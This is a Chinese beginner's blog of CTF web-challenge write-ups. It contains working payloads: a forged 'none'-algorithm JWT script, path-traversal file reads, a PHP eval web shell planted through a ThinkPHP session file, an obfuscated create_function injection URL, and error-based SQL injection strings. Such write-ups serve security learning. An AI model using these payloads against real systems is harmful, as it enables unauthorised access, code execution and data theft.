初学者的一些做题记录
 
 
[HFCTF2020]EasyLogin 
源码中存在/static/js/app.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 function  login ( ) {     const  username = $("#username" ).val ();     const  password = $("#password" ).val ();     const  token = sessionStorage .getItem ("token" );     $.post ("/api/login" , {username, password, authorization :token})         .done (function (data ) {             const  {status} = data;             if (status) {                 document .location  = "/home" ;             }         })         .fail (function (xhr, textStatus, errorThrown ) {             alert (xhr.responseJSON .message );         }); }function  register ( ) {     const  username = $("#username" ).val ();     const  password = $("#password" ).val ();     $.post ("/api/register" , {username, password})         .done (function (data ) {             const  { token } = data;             sessionStorage .setItem ('token' , token);             document .location  = "/login" ;         })         .fail (function (xhr, textStatus, errorThrown ) {             alert (xhr.responseJSON .message );         }); }function  logout ( ) {     $.get ('/api/logout' ).done (function (data ) {         const  {status} = data;         if (status) {             document .location  = '/login' ;         }     }); }function  getflag ( ) {     $.get ('/api/flag' ).done (function (data ) {         const  {flag} = data;         $("#username" ).val (flag);     }).fail (function (xhr, textStatus, errorThrown ) {         alert (xhr.responseJSON .message );     }); }
 
能正常访问,初步猜测是源码泄露?
有关koa-static的目录结构,参考:(https://blog.csdn.net/fmyyy1/article/details/115674235)
app.js/:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 const  Koa  = require ('koa' );const  bodyParser = require ('koa-bodyparser' );const  session = require ('koa-session' );const  static  = require ('koa-static' );const  views = require ('koa-views' );const  crypto = require ('crypto' );const  { resolve } = require ('path' );const  rest = require ('./rest' );const  controller = require ('./controller' );const  PORT  = 3000 ;const  app = new  Koa (); app.keys  = [crypto.randomBytes (16 ).toString ('hex' )];global .secrets  = []; app.use (static (resolve (__dirname, '.' ))); app.use (views (resolve (__dirname, './views' ), {   extension : 'pug'  })); app.use (session ({key : 'sses:aok' , maxAge : 86400000 }, app)); app.use (bodyParser ()); app.use (rest.restify ()); app.use (controller ()); app.listen (PORT );console .log (`app started at port ${PORT} ...` );
 
不是很懂为啥去访问controllers/api.js。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 const  crypto = require ('crypto' );const  fs = require ('fs' )const  jwt = require ('jsonwebtoken' )const  APIError  = require ('../rest' ).APIError ;module .exports  = {     'POST /api/register' : async  (ctx, next) => {         const  {username, password} = ctx.request .body ;         if (!username || username === 'admin' ){             throw  new  APIError ('register error' , 'wrong username' );         }         if (global .secrets .length  > 100000 ) {             global .secrets  = [];         }         const  secret = crypto.randomBytes (18 ).toString ('hex' );         const  secretid = global .secrets .length ;         global .secrets .push (secret)         const  token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' });         ctx.rest ({             token : token         });         await  next ();     },     'POST /api/login' : async  (ctx, next) => {         const  {username, password} = ctx.request .body ;         if (!username || !password) {             throw  new  APIError ('login error' , 'username or password is necessary' );         }         const  token = ctx.header .authorization  || ctx.request .body .authorization  || ctx.request .query .authorization ;         const  sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ;         console .log (sid)         if (sid === undefined  || sid === null  || !(sid < global .secrets .length  && sid >= 0 )) {             throw  new  APIError ('login error' , 'no such secret id' );         }         const  secret = global .secrets [sid];         const  user = jwt.verify (token, secret, {algorithm : 'HS256' });         const  status = username === user.username  && password === user.password ;         if (status) {             ctx.session .username  = username;         }         ctx.rest ({             status         });         await  next ();     },     'GET /api/flag' : async  (ctx, next) => {         if (ctx.session .username  !== 'admin' ){             throw  new  APIError ('permission error' , 'permission denied' );         }         const  flag = fs.readFileSync ('/flag' ).toString ();         ctx.rest ({             flag         });         await  next ();     },     'GET /api/logout' : async  (ctx, next) => {         ctx.session .username  = null ;         ctx.rest ({             status : true          })         await  next ();     } };
 
先看对用户名的限制部分:
1 2 3 if (!username || username === 'admin' ){     throw  new  APIError ('register error' , 'wrong username' ); }
 
这里规定username不能为空或不能强等于admin,否则会抛出一个异常。
JWT的构造部分:
1 2 3 4 5 const  secret = crypto.randomBytes (18 ).toString ('hex' );const  secretid = global .secrets .length ;global .secrets .push (secret)const  token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' });
 
简单说就是随机生成一串十六进制字符串,然后把它的长度赋值给secretid。第三行就是去生成JSON Web Token:
1 2 3 4 5 6 7 8 9 const  token = ctx.header .authorization  || ctx.request .body .authorization  || ctx.request .query .authorization ;const  sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ;console .log (sid)if (sid === undefined  || sid === null  || !(sid < global .secrets .length  && sid >= 0 )) {     throw  new  APIError ('login error' , 'no such secret id' ); }
 
这部分先去寻找token所在的位置,然后从token中解析出sid并打印出来。注意最后的if判断语句:如果sid未定义/为空/(0<=sid<=global.secrets.length为假)那么就会抛出一个异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19         const  status = username === user.username  && password === user.password ;         if (status) {             ctx.session .username  = username;         }'GET /api/flag' : async  (ctx, next) => {         if (ctx.session .username  !== 'admin' ){             throw  new  APIError ('permission error' , 'permission denied' );         }         const  flag = fs.readFileSync ('/flag' ).toString ();         ctx.rest ({             flag         });         await  next ();     },
 
会话对象中username需要是admin,前面做了JWT所以猜测要修改JWT的对应字段达到目的,最终读取FLAG
有关JWT的内容可以参考这位师傅的文章:[JSON Web Token(JWT)原理及用法 | 信安小蚂蚁 (gitee.io)](https://mayi077.gitee.io/2020/05/19/JSON-Web-Token(JWT)原理及用法/)
现在解题思路就清晰了:注册 –> 修改JWT使其验证的username为admin –> 登录
先注册一个test用户看看这个JWT:
放这个网站解密:[JSON Web Tokens - jwt.io](https://jwt.io/)
首先我们要修改username字段为admin。然后注意:
1 2 3 const  secret = global .secrets [sid];const  user = jwt.verify (token, secret, {algorithm : 'HS256' });
 
从 global.secrets 数组中获取指定索引 sid 处的元素,然后将其赋值给 secret 变量。jwt.verify() 方法接受三个参数:要验证的 token、密钥 secret 和一个包含选项的对象。在这里,选择了 algorithm: 'HS256',表示使用 HMAC-SHA256 算法进行验证。
所以不能只考虑更换username字段值,就算改了签名那里过不了验证也是白搭。
首先是对于加密方式的利用:
但只改成none没啥用(验证时还是指定了算法为HS256)
用的是 HS256加密,但经过测试发现,当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,这样很轻松地就可以伪造一个 username 为 admin 的 jwttoken 了。
 
具体原理可以参考赵师傅的博客:[虎符 CTF Web 部分 Writeup – glzjin (zhaoj.in)](https://www.zhaoj.in/read-6512.html),师傅讲的非常详细我就不写了,贴张比较重要的图:
现在我们需要把secret密钥置空,看下这东西怎么来的:
1 const  secret = global .secrets [sid];
 
从 global.secrets 数组中获取索引为 sid 的元素
sid:
1 const  sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ;
 
1 2 const  secretid = global .secrets .length ;global .secrets .push (secret)
 
通过修改 secretid,使其无法作为全局变量 secrets 数组的索引,那么 secret 就会为空了。当然这东西也不能乱改:
1 2 3 if (sid === undefined  || sid === null  || !(sid < global .secrets .length  && sid >= 0 )) {     throw  new  APIError ('login error' , 'no such secret id' ); }
 
同样参考了赵师傅的博客,可以看到令sid为一个空数组时,a[sid]为undefined。
JavaScript 是一门弱类型语言,空数组与数字比较永远为真
 
当然这里用"0e啥的"绕过也可以(不同类型进行比较时也会有类型转换)
生成token(当然这里也能自己手动改):
1 2 3 4 5 6 7 8 9 10 11 import  timeimport  jwt info = {'iat' : int (time.time()),     "secretid" : "0e123" ,     "username" : "admin" ,     "password" : "admin" } token = jwt.encode(info,key="" ,algorithm="none" )print (token)
 
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpYXQiOjE3MDI4MDE4NTgsInNlY3JldGlkIjoiMGUxMjMiLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9.
登录GetFlag
[网鼎杯 2020 半决赛]AliceWebsite 
注意URL:/index.php?action=home.php
给了个压缩包:
DSSTORE文件里没啥东西:
index.php:
1 2 3 4 5 6 7 8 <?php $action  = (isset ($_GET ['action' ]) ? $_GET ['action' ] : 'home.php' );if  (file_exists ($action )) {     include  $action ; } else  {     echo  "File not found!" ; }?> 
 
没有任何过滤的任意文件包含,注意这里会先进行file_exists,所以伪协议不要想了。
etc/passwd能读:
目录穿越读flag:/index.php?action=../../../flag
[GYCTF2020]EasyThinking www.zip:里面有个README.md
搜了下thinkphp6有什么洞:
[Thinkphp < 6.0.2 session id未作过滤导致getshell - 先知社区 (aliyun.com)](https://xz.aliyun.com/t/7109)
主要就是由于程序未对session id进行危险字符判断,只要将session id写为类似于xxxx.php的格式,即可导致session保存成.php文件,从而getshell。
app/home/controler下存在member.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 <?php namespace  app \home \controller ;use  think \exception \ValidateException ;use  think \facade \Db ;use  think \facade \View ;use  app \common \model \User ;use  think \facade \Request ;use  app \common \controller \Auth ;class  Member  extends  Base  {     public  function  index ( )     {         if  (session ("?UID" ))          {             $data  = ["uid"  => session ("UID" )];             $record  = session ("Record" );             $recordArr  = explode ("," , $record );             $username  = Db ::name ("user" )->where ($data )->value ("username" );             return  View ::fetch ('member/index' ,["username"  => $username ,"record_list"  => $recordArr ]);         }         return  view ('member/index' ,["username"  => "Are you Login?" ,"record_list"  => "" ]);     }     public  function  login ( )     {         if  (Request ::isPost ()){             $username  = input ("username" );             $password  = md5 (input ("password" ));             $data ["username" ] = $username ;             $data ["password" ] = $password ;             $userId  = Db ::name ("user" )->where ($data )->value ("uid" );             $userStatus  = Db ::name ("user" )->where ($data )->value ("status" );             if  ($userStatus  == 1 ){                 return  "<script>alert(\"该用户已被禁用,无法登陆\");history.go(-1)</script>" ;             }             if  ($userId ){                 session ("UID" ,$userId );                 return  redirect ("/home/member/index" );             }             return  "<script>alert(\"用户名或密码错误\");history.go(-1)</script>" ;         }else {             return  view ('login' );         }     }     public  function  register ( )     {         if  (Request ::isPost ()){             $data  = input ("post." );             if  (!(new  Auth )->validRegister ($data )){                 return  "<script>alert(\"当前用户名已注册\");history.go(-1)</script>" ;             }             $data ["password" ] = md5 ($data ["password" ]);             $data ["status" ] = 0 ;             $res  = User ::create ($data );             if  ($res ){                 return  redirect ('/home/member/login' );             }             return  "<script>alert(\"注册失败\");history.go(-1)</script>" ;         }else {             return  View ("register" );         }     }     public  function  logout ( )     {         session ("UID" ,NULL );         return  "<script>location.href='/home/member/login'</script>" ;     }     public  function  updateUser ( )     {         $data  = input ("post." );         $update  = Db ::name ("user" )->where ("uid" ,session ("UID" ))->update ($data );         if ($update ){             return  json (["code"  => 1 , "msg"  => "修改成功" ]);         }         return  json (["code"  => 0 , "msg"  => "修改失败" ]);     }     public  function  rePassword ( )     {         $oldPassword  = input ("oldPassword" );         $password  = input ("password" );         $where ["uid" ] = session ("UID" );         $where ["password" ] = md5 ($oldPassword );         $res  = Db ::name ("user" )->where ($where )->find ();         if  ($res ){             $rePassword  = User ::update (["password"  => md5 ($password )],["uid" => session ("UID" )]);             if  ($rePassword ){                 return  json (["code"  => 1 , "msg"  => "修改成功" ]);             }             return  json (["code"  => 0 , "msg"  => "修改失败" ]);         }         return  json (["code"  => 0 , "msg"  => "原密码错误" ]);     }     public  function  search ( )     {         if  (Request ::isPost ()){             if  (!session ('?UID' ))             {                 return  redirect ('/home/member/login' );                         }             $data  = input ("post." );             $record  = session ("Record" );             if  (!session ("Record" ))             {                 session ("Record" ,$data ["key" ]);             }             else              {                 $recordArr  = explode ("," ,$record );                 $recordLen  = sizeof ($recordArr );                 if  ($recordLen  >= 3 ){                     array_shift ($recordArr );                     session ("Record" ,implode ("," ,$recordArr ) . ","  . $data ["key" ]);                     return  View ::fetch ("result" ,["res"  => "There's nothing here" ]);                 }             }             session ("Record" ,$record  . ","  . $data ["key" ]);             return  View ::fetch ("result" ,["res"  => "There's nothing here" ]);         }else {             return  View ("search" );         }     } }
 
主要就是下面这几点:
session文件,一般位于项目根目录下的./runtime/session/文件夹下,也就是/runtime/session/sess_叉叉叉.php(注意这里名+.php要满足32个字符)
1 2 3 4 5 6 $data  = input ("post." );$record  = session ("Record" );if  (!session ("Record" )) {     session ("Record" ,$data ["key" ]); }
 
post传$data,然后把它保存到session中键record对应的值
1 2 3 if  (Request ::isPost ()){             if  (!session ('?UID' ))             {      
 
给key传个一句话:<?php @eval($_POST['a']);?>,然后访问目标文件(按理说会有两个键值对:uid和key):
/runtime/session/sess_1234567890123456789012345678.php
没问题,先看环境变量里是否有flag:有,不过是假的:
蚁剑连接:
flag没法读(估计是禁用了大量函数,phpinfo的disable_functions里可以看到。想到之前极客大挑战里做过类似的,蚁剑提供了绕过功能:
[BJDCTF2020]EzPHP 
看源码,注意红框:
大写字母加数字组合,等号结尾,看着像base家族的但不是base64?base32解码得到:1nD3x.php,访问:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53  <?php highlight_file (__FILE__ );error_reporting (0 ); $file  = "1nD3x.php" ;$shana  = $_GET ['shana' ];$passwd  = $_GET ['passwd' ];$arg  = '' ;$code  = '' ;echo  "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER ) {      if  (         preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ])         )           die ('You seem to want to do something bad?' );  }if  (!preg_match ('/http|https/i' , $_GET ['file' ])) {     if  (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) {          $file  = $_GET ["file" ];          echo  "Neeeeee! Good Job!<br>" ;     }  } else  die ('fxck you! What do you want to do ?!' );if ($_REQUEST ) {      foreach ($_REQUEST  as  $value ) {          if (preg_match ('/[a-zA-Z]/i' , $value ))               die ('fxck you! I hate English!' );      }  } if  (file_get_contents ($file ) !== 'debu_debu_aqua' )     die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );if  ( sha1 ($shana ) === sha1 ($passwd ) && $shana  != $passwd  ){     extract ($_GET ["flag" ]);     echo  "Very good! you know my password. But what is flag?<br>" ; } else {     die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) {      die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" );  } else  {      include  "flag.php" ;     $code ('' , $arg );  } ?>  This is a very simple challenge and  if  you solve it I will give you a flag. Good Luck! Aqua is the cutest five-year-old child in the world! Isn't it ? 
 
第一部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 if ($_SERVER ) {      if  (         preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ])         )           die ('You seem to want to do something bad?' );  }if  (!preg_match ('/http|https/i' , $_GET ['file' ])) {     if  (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) {          $file  = $_GET ["file" ];          echo  "Neeeeee! Good Job!<br>" ;     }  } else  die ('fxck you! What do you want to do ?!' );
 
首先是$_SERVER这个超全局变量:
有服务器信息能访问时它就为真,接下来是$_SERVER['QUERY_STRING']这东西:存储当前请求的查询字符串部分。查询字符串是 URL 中问号后面的部分,通常用于向服务器传递参数。不过注意这东西不会URLDecode
比如对于这个URL:
1 2 3 4 5 https://example.com/page.php?id =123 %20name =John$_SERVER ['QUERY_STRING' ] 为 id =123 %20name =John$_GET ['name' ] 为 John Doe
 
第一个正则ban了debu,aqua,cute啥的,但接下来的正则匹配很明显要给debu赋值。所以这里把过滤的字符URL编码一下就行。
第二个正则:preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')
这里令?debu=aqua_is_cute%0a就行,因为非多行模式下$这个东西似乎会忽略在句尾的%0a
第二部分:
1 2 3 4 5 6 if ($_REQUEST ) {      foreach ($_REQUEST  as  $value ) {          if (preg_match ('/[a-zA-Z]/i' , $value ))               die ('fxck you! I hate English!' );      }  } 
 
$_REQUEST 超全局变量包含了 $_GET、$_POST 和 $_COOKIE 超全局变量的合集。这里会遍历每个字符然后过正则匹配(过滤了所有大小写字母)。
假如我们get传一个a,post也传一个a,那么$_REQUEST[a] 会是谁的值呢?
这取决于你的php.ini中的variables_order的设置,默认为:
1 variables_order  = "GPCS" 
 
它们的顺序决定了 PHP 在处理超全局变量时的优先级。例如,如果 variables_order = "GPCS",那么 PHP 会先将 $_GET 的值转换为全局变量,然后是 $_POST,接着是 $_COOKIE,最后是 $_SESSION。
也就是说,他先取了get的值然后判断有没有post的值有的话就覆盖掉。那么我们只需要将要get传入的参数post传一遍非字母的就行。
第三部分:
1 2 3 4 5 6 7 8 9 10 if  (file_get_contents ($file ) !== 'debu_debu_aqua' )     die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );if  ( sha1 ($shana ) === sha1 ($passwd ) && $shana  != $passwd  ){     extract ($_GET ["flag" ]);     echo  "Very good! you know my password. But what is flag?<br>" ; } else {     die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }
 
这部分很简单,file_get_contents的判断我们直接利用data伪协议写debu_debu_aqua到file里就好。
data://text/plain,debu_debu_aqua
接下来是两个哈希强等于,直接数组绕过就行:
$shana[]=1&$passwd[]=2
extract($_GET["flag"]);:进行变量覆盖。
第四部分:
1 2 3 4 5 6 7 if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) {      die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" );  } else  {      include  "flag.php" ;     $code ('' , $arg );  } ?> 
 
这部分不会做。。查了wp发现这东西叫create_function代码注入,比如:
1 2 3 4 5 <?php $func  = create_function ('$a, $b' , 'return($a+$b);' );print_r ($func (1 ,2 ));
 
回显了3,实际上func这东西就相当于:
1 2 3 4 function  func ($a , $b  ) { return  ($a +$b );  }
 
这时我们令$b =1);}phpinfo();/*,执行的会是什么呢?:
1 2 3 4 5 function  func ($a , $b  ) { return  ($a +1 );}phpinfo ();
 
比如对于这段代码:
1 2 3 4 5 6 7 8 9 10 <?php $id =$_GET ['id' ];$str2 ='echo  $a' .'test' .$id .";" ;echo  $str2 ;echo  "<br/>" ;echo  "==============================" ;echo  "<br/>" ;$f1  = create_function ('$a' ,$str2 );?> 
 
payload:?id=;}phpinfo();/*
1 2 3 4 5 6 7 8 9 原函数:function  fT ($a  ) {   echo  $a ."test" .$id ; } 代码注入后:function  fT ($a  ) {   echo  $a ."test" ;}phpinfo ();
 
所以对于$code('', $arg); 这东西,我们可以利用create_function来执行命令。
1 preg_match ('/^[a-z0-9]*$/isD' , $code )
 
这东西意思是只匹配大小写字母和数字,要是存在其它的就返回false。create_function正好存在_。令flag[code]=create_function:create_function('',$arg),这东西就相当于:
1 2 3 function  lambda (''  ) { 	$arg  }
 
我们可以通过利用$arg闭合{然后进行命令执行,比如arg=}func();//:
1 2 3 function  a ('' ,$arg  ) {     return  }func (); }
 
由于存在include"flag.php",可以利用var_dump和get_defined_vars()将所有变量和值输出(假设flag.php中定义了$flag=xxxx之类的)
梳理下截至到目前的payload:
1 2 3 4 file =data://text/plain,debu_debu_aqua&debu =aqua_is_cute &shana []=1&passwd []=2&flag [code]=create_function&flag [arg]=}var_dump(get_defined_vars());// POST传file =1&debu =2
 
注意$_SERVER['QUERY_STRING']),把这东西URL编码一下(file和=不用编码,没过滤):
1 2 3 4 //一般不会对字母进行URL编码,如果编码的话就是对应十六进制表示然后前面的0 x 换成百分号1 nD3 x .php?file= %64 %61 %74 %61 %3 a%2 f%2 f%74 %65 %78 %74 %2 f%70 %6 c %61 %69 %6 e%2 c %64 %65 %62 %75 %5 f%64 %65 %62 %75 %5 f%61 %71 %75 %61 &%64 %65 %62 %75 = %61 %71 %75 %61 %5 f%69 %73 %5 f%63 %75 %74 %65 %0 A&%73 %68 %61 %6 e%61 []= 1 &%70 %61 %73 %73 %77 %64 []= 2 &%66 %6 c %61 %67 %5 b%63 %6 f%64 %65 %5 d= %63 %72 %65 %61 %74 %65 %5 f%66 %75 %6 e%63 %74 %69 %6 f%6 e&%66 %6 c %61 %67 %5 b%61 %72 %67 %5 d= }%76 %61 %72 %5 f%64 %75 %6 d%70 (%67 %65 %74 %5 f%64 %65 %66 %69 %6 e%65 %64 %5 f%76 %61 %72 %73 ()) POST传file= 1 &debu= 2 
 
现在要想办法读rea1fl4g.php,不过还是要注意前面$_SERVER['QUERY_STRING']和正则匹配的限制。
可以用require去读,但限制了con,fil啥的,考虑取反绕过:
1 2 3 4 5 6 7 8 9 10 <?php $str  = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a 1 f l 4 g . p h p" ;$arr1  = explode (' ' , $str );echo  "<br>~(" ;foreach  ($arr1  as  $key  => $value ) {   echo  "%" .bin2hex (~$value ); }echo  ")<br>" ;?> 
 
1 ~(%8 f%97 %8 f%c5 %d0 %d0 %99 %96 %93 %8 b%9 a%8 d%d0 %8 d%9 a%9 e%9 b%c2 %9 c %90 %91 %89 %9 a%8 d%8 b%d1 %9 d%9 e%8 c %9 a%c9 %cb %d2 %9 a%91 %9 c %90 %9 b%9 a%d0 %8 d%9 a%8 c %90 %8 a%8 d%9 c %9 a%c2 %8 d%9 a%9 e%ce %99 %93 %cb %98 %d1 %8 f%97 %8 f)
 
最终payload
1 /1 nD3 x .php?file= %64 %61 %74 %61 %3 a%2 f%2 f%74 %65 %78 %74 %2 f%70 %6 c %61 %69 %6 e%2 c %64 %65 %62 %75 %5 f%64 %65 %62 %75 %5 f%61 %71 %75 %61 &%64 %65 %62 %75 = %61 %71 %75 %61 %5 f%69 %73 %5 f%63 %75 %74 %65 %0 A&%73 %68 %61 %6 e%61 []= 1 &%70 %61 %73 %73 %77 %64 []= 2 &%66 %6 c %61 %67 %5 b%63 %6 f%64 %65 %5 d= %63 %72 %65 %61 %74 %65 %5 f%66 %75 %6 e%63 %74 %69 %6 f%6 e&%66 %6 c %61 %67 %5 b%61 %72 %67 %5 d= }require(~(%8 f%97 %8 f%c5 %d0 %d0 %99 %96 %93 %8 b%9 a%8 d%d0 %8 d%9 a%9 e%9 b%c2 %9 c %90 %91 %89 %9 a%8 d%8 b%d1 %9 d%9 e%8 c %9 a%c9 %cb %d2 %9 a%91 %9 c %90 %9 b%9 a%d0 %8 d%9 a%8 c %90 %8 a%8 d%9 c %9 a%c2 %8 d%9 a%9 e%ce %99 %93 %cb %98 %d1 %8 f%97 %8 f))
 
然后解码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <html > <head > <meta  charset ="utf-8" > <meta  http-equiv ="X-UA-Compatible"  content ="IE=edge" > <meta  name ="viewport"  content ="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" > <title > Real_Flag In Here!!!</title > </head > </html > <?php 	echo  "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!" ; 	$f4ke_flag  = "BJD{1am_a_fake_f41111g23333}" ; 	$rea1_f1114g  = "flag{870ae629-6309-425c-a5e6-22fbe7cc08fc}" ; 	unset ($rea1_f1114g ); 
 
[GKCTF 2021]easycms 提示:后台密码5位弱口令

登录页面一直点不了。。也没啥提示,看了wp发现有这么个界面:admin.php

注意这个URL:admin.php?m=user&f=login&referer=L2FkbWluLnBocA==,解码后是/admin.php
用户名admin,密码12345
设计 - 主题 - 自定义 - 存在导出文件的功能


导出后会下载一个zip文件,抓包看看:
注意这里的URL:L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvYS56aXA=

解码:/var/www/html/system/tmp/theme/default/a.zip
存在任意文件下载功能?theme直接换成/flag的base64:L2ZsYWc=
注意下载的是压缩包,后缀改成txt再打开就行。

第二种方法:
设计 - > 高级 -> 编辑 这里至此自定义,比如:
但不能直接保存,会提示我们需要创建一个文件:
如果想自定义就要去创建这样一个文件:/var/www/html/system/tmp/xspg.txt
设计 -> 组件 -> 素材库这里支持上传文件:
注意他这个存储路径,存在目录穿越:
文件不用加后缀,目录穿越多试几次就行,如果目录不对他自己会提示fail
[GXYCTF2019]StrongestMind 
源码没啥提示,直接抓包看看:
把结果明文传过去的,POST answer=xxxx
脚本不会写直接抄的这位师傅的:https://blog.csdn.net/shinygod/article/details/124141957
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import  requestsimport  reimport  time url="http://4dd9922c-9934-46da-83e8-49992b7b6ffd.node4.buuoj.cn:81/"  session = requests.session() req = session.get(url).text flag = "" for  i in  range (1010 ):     try :         result = re.findall("\<br\>\<br\>(\d.*?)\<br\>\<br\>" ,req)         result = "" .join(result)         result = eval (result)         print ("time: " + str (i) +"   " +"result: " + str (result))         data = {"answer" :result}         req = session.post(url,data=data).text         if  "flag{"  in  req:             print (re.search("flag{.*}" , req).group(0 )[:50 ])             break          time.sleep(0.1 )     except :         print ("[-]" )
 
[RCTF2015]EasySQL 随便注册了个账号,发现这东西有修改密码的功能。
初步猜测二次注入。二次注入这东西个人理解就是在获取用户输入的过程中只简单设置了转义(比如在单引号前面加个\),然后用户通过某个功能将恶意数据取出并利用。
admin用户不给注册,估计是要以admin身份登录然后拿flag。不知道这个用户名是怎么闭合的,输个admin‘#注册一下:
然后修改密码,这时如果它后端改密码的逻辑是类似这种:
1 update  users set  password= '$new_pass'  where  username= '$user'  and  password= '$old_pass' ;
 
我们把用户名admin'#放进去:
1 update  users set  password= '$new_pass'  where  username= 'admin'   # and  password= '$old_pass' ;
 
可以看到实际修改的是admin的密码。当然这个闭合不一定是单引号,需要试。
试到双引号终于出了点东西(这里我注册的是admin"--+):
但报错了?
pwd这个字段存的应该是旧密码的md5(可以自己换然后看回显。)报错原因估计就是用户名闭合的问题,可以注册一个"admin"看看:
注意这个admin"",所以用户名用双引号闭合的。而且出错会有回显?考虑报错注入:
1 2 1"&&(updatexml(1,concat(0x7e,(select (database ())),0x7e ),1 ))# 空格被过滤了,用括号替换
 
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(group_concat(table_name))from (information_schema.tables)where (table_schema=database())),0 x7e),1 ))#
 
后面就不详细写了,flag表下有flag字段:
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(flag)from (flag)),0 x7e),1 ))#
 
他🐎的,只能再看别的表:user
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(group_concat(column_name))from (information_schema.columns)where (table_name='user')),0 x7e),1 ))#
 
没显示完全,updatexml这东西只显示32。可以利用reverse:
1 1 "&&(updatexml(1 ,concat(0 x7e,reverse((select(group_concat(column_name))from (information_schema.columns)where (table_name='user'))),0 x7e),1 ))#
 
???他妈的我说怎么不对我把users打成user了,我真傻逼
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(group_concat(column_name))from (information_schema.columns)where (table_name='users')),0 x7e),1 ))#
 
reverse一下看后面有没有:
1 1 "&&(updatexml(1 ,concat(0 x7e,reverse((select(group_concat(column_name))from (information_schema.columns)where (table_name='users'))),0 x7e),1 ))#
 
读real_flag_1s_here字段:
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(real_flag_1s_here)from (users)),0 x7e),1 ))#
 
这东西返回了不止一行。。正则匹配下带有flag或RCTF的字段就行,正则的语法类似这种:
1 2 3 SELECT  NameFROM  ProductsWHERE  Name REGEXP 'XXXXX' ;
 
所以:
